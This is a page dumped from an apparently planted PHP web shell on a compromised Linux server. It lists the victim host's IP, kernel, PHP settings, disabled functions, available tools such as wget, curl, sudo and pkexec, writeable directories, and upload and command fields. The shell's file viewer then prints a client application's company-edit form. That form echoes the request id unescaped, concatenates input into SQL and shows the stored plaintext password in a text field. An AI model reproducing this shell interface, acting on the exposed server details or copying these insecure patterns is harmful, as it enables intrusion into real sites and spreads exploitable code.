X3ND1 GANTENG
Server IP : 108.163.255.210  /  Your IP : 3.12.163.120
Web Server : Apache
System : Linux blossom.urlnameserver.com 3.10.0-1160.80.1.el7.x86_64 #1 SMP Tue Nov 8 15:48:59 UTC 2022 x86_64
User :  ( 1172)
PHP Version : 7.2.34
Disable Function : eval,escapeshellarg,proc_close,proc_get_status,proc_nice,proc_open,symlink,system,pcntl_exec,getrusage,chown,chgp,closelog,openlog,syslog,define_syslog_variables,php_ini_loaded_file,getservbyname,getservbyport,posix_getgid,posix_getgrgid,proc_terminate,pfsockopen,apache_child_terminate,posix_mkfifo,posix_setpgid,posix_setuid,hypot,pg_host,pos,posix_access,posix_getcwd,posix_getservbyname,myshellexec,getpid,posix_getsid,posix_isatty,posix_kill,posix_mknod,posix_setgid,posix_setsid,posix_setuid,posix_times,posix_uname,ps_fill,posix_getpwuid,global,ini_restore,zip_open,zip_read,rar_open,bzopen,bzread,bzwrite,apache_get_modules,apache_get_version,phpversionphpinfo,php_ini_scanned_files,get_current_user,disk_total_space,diskfreespace,leak,imap_list,hypo,filedump,safe_mode,getmygid,apache_getenv,apache_setenv,bzread,bzwrite,bzopen,phpini,higlight_file,dos_conv,get_cwd,er_log,cmd,e_name,vdir,get_dir,only_read,ftok,ftpexec,posix_getpwnam,mysql_list_dbs,disk_free_space,session_save_path,confirm_phpdoc_compiled,zip_entry_rea,php_u,psockopen,crack_opendict,crack_getlastmessage,crack_closedict,crack_check,fpassthru,posix_get_last_error,posix_getlogin,posix_getgroups,posix_strerror,posix_getrlimit,posix_getpgrp,posix_getgrnam,pos,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/unilinki/www/Intellilead/client/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ BERANDA ]     

Current File : /home/unilinki/www/Intellilead/client/edit_company_form.php
<?php
require_once "../includes/application_top.php";
$id  = $_REQUEST['id'];
if($id!=''){
	$sql= "SELECT * FROM mstr_company where company_id='".checkInput($id)."'";
	$result= executeQuery($sql);
	while($row=mysql_fetch_array($result)) {
		 $company_name = $row['company_name'];
		 $website = $row['website'];
		 $logo = $row['logo'];
		 $title = $row['title'];
		 $mobile = $row['mobile'];
		 $user_name = $row['user_name'];
		 $client_id = $row['client_id'];
		 $status = $row['status'];
		 $phone = $row['phone_no'];
		 $altphone = $row['alternate_phone'];
		 $email = $row['email_id'];
		 $password = $row['password'];
		 $pass = $row['pass'];
		 $address = $row['address'];
	}
	
	if(empty($logo)){ $logo = "no_image.jpg";}
} else {
	header('Location: manage_company.php');
	exit();
}

include('../template/header.php'); 
?>
<style>
.demoInputBox{padding:7px; border:#F0F0F0 1px solid; border-radius:4px;}
.status-available{color:#2FC332;}
.status-not-available{color:#D60202;}
.btn-file>input{width:100px;float:right;left:265px;margin-top:-41px !important;}
</style>
<script src="https://code.jquery.com/jquery-2.1.1.min.js" type="text/javascript"></script>
<script>
function checkAvailability() {
	$("#loaderIcon").show();
	jQuery.ajax({
	url: "check_availability.php",
	data:'username='+$("#username").val(),
	type: "POST",
	success:function(data){
		$("#user-availability-status").html(data);
		$("#loaderIcon").hide();
	},
	error:function (){}
	});
}

function checkAvailabilityClient(){	
	jQuery.ajax({
	url: "check_availability.php",
	data:'client_id='+$("#client_id").val(),
	type: "POST",
	success:function(data){
		$("#client-availability-status").html(data);		
	},
	error:function (){}
	});
}
</script>
    <!--file upload-->
    <link rel="stylesheet" type="text/css" href="../asset/css/bootstrap-fileupload.min.css" />

			
        <!-- page heading start-->     
		 <div class="panel box-shadow-none content-header">
                  <div class="panel-body">
                    <div class="col-md-12">
                        <h3 class="animated fadeInLeft">Company Information</h3>
                        <p class="animated fadeInDown">
                          Client <span class="fa-angle-right fa"></span> Company Information
                        </p>
                    </div>
                  </div>
                </div>
		<!-- page heading end-->  
		
		 <div class="col-md-12">
		    <?php include('../template/response.php');?>
                <div class="col-md-12 panel">
                  <div class="col-md-12 panel-heading">
                    <h4></h4>
                  </div>
				  <form class="" method="post" enctype="multipart/form-data" action="edit_company.php">
				  <input name="company_id" type="hidden" value="<?php echo $id; ?>">
                  <div class="col-md-12 panel-body">
                    <div class="col-md-12">
                     <div class="col-md-6">                  

					 <div class="form-group form-animate-text" style="margin-top:40px !important;">
                        <input type="text" class="form-text mask-name" id="ccompany" name="company" minlength="2" type="text" value="<?php echo $company_name;?>" required/>
                        <span class="bar"></span>
                        <label>Company Name</label>
                      </div>   
					  
					  <div class="form-group form-animate-text" style="margin-top:40px !important;">
                        <input type="text" class="form-text mask-mixed noSpace" id="ccode" type="text" name="company_code" value="<?php echo $client_id;?>"  onBlur="checkAvailabilityClient()"  required />
                        <span class="bar"></span>
                        <label>Company Code</label>
						<span id="client-availability-status"></span>  
                      </div>
					  
					  <div class="form-group form-animate-text" style="margin-top:40px !important;">
                        <input type="text" class="form-text mask-mixed noSpace numeric" id="cmobile" type="text" name="mobile" value="<?php echo $mobile;?>" minlength="10" maxlength="10" oninvalid="setCustomValidity('Please insert 10 digit Mobile number')" required />
                        <span class="bar"></span>
                        <label>Mobile</label>
                      </div>
					  
					  <div class="form-group form-animate-text" style="margin-top:40px !important;">
                        <input type="text" class="form-text mask-mixed noSpace numeric" id="cmobile" type="text" name="phone" value="<?php echo $phone;?>" required />
                        <span class="bar"></span>
                        <label>Phone</label>
                      </div>
					  
					  <div class="form-group form-animate-text" style="margin-top:40px !important;">
                        <input type="email" class="form-text mask-mixed" id="cemail" type="email" name="email" value="<?php echo $email;?>" required />
                        <span class="bar"></span>
                        <label>E-Mail</label>
                      </div>
					  
					  <div class="form-group form-animate-text" style="margin-top:40px !important;">
                        <input type="text" class="form-text mask-mixed" id="caddress" type="address" name="address" value="<?php echo $address;?>" required />
                        <span class="bar"></span>
                        <label>Address</label>
                      </div>

                    </div>

                    <div class="col-md-6">
					  <div class="form-group form-animate-text" style="margin-top:40px !important;">
                        <input type="text" class="form-text mask-mixed noSpace" id="cmobile" type="text" name="user_name" value="<?php echo $user_name;?>"  onBlur="checkAvailability()"  required />
                        <span class="bar"></span>
                        <label>Admin username</label>
						<span id="user-availability-status"></span>  
                      </div>
					  			
                      <div class="form-group form-animate-text" style="margin-top:40px !important;">
                        <input type="text" class="form-text id="ctitle" type="text" name="password" value="<?php echo $pass;?>" required/>
                        <span class="bar"></span>
                        <label>Password</label>
                      </div>
					 
					 <div class="form-group form-animate-text" style="margin-top:40px !important;">
                                        <div class="fileupload fileupload-new" data-provides="fileupload">
                                            <div class="fileupload-new thumbnail" style="max-width:200px;max-height:150px;">
                                                <img src="<?php echo "../resources/client/".$logo; ?>" alt="" />
                                            </div>
                                            <div class="fileupload-preview fileupload-exists thumbnail" style="max-width: 200px; max-height: 150px; line-height: 20px;"></div>
                                            <div>
                                                   <span class="btn btn-default btn-file">
                                                   <span class="fileupload-new"><i class="fa fa-paper-clip"></i> Select image</span>
                                                   <span class="fileupload-exists"><i class="fa fa-undo"></i> Change</span>
                                                	<input type="file" class="default" name="image"/>
                                                	<input type="hidden" name="imgr1" value="<?php echo $logo;?>"/>
                                                   </span>
                                                <a href="#" class="btn btn-danger fileupload-exists" data-dismiss="fileupload"><i class="fa fa-trash"></i> Remove</a>
                                            </div>
                                        </div>
										
							<span class="bar"></span>
                        
                      </div>					  
                      				  
					</div>
						<div class="form-group">
                              <div class="col-lg-offset-2 col-lg-10">
                                  <button class="btn btn-primary" type="submit" name="submit" value="submit">Submit</button>
                              </div>
                        </div>
                  </div>
                </div>

			</form>
				
              </div>
              </div>
        


<!--file upload-->
<script type="text/javascript" src="../asset/js/bootstrap-fileupload.min.js"></script>
<?php include('../template/footer.php');?>

Anon7 - 2022
SCDN GOK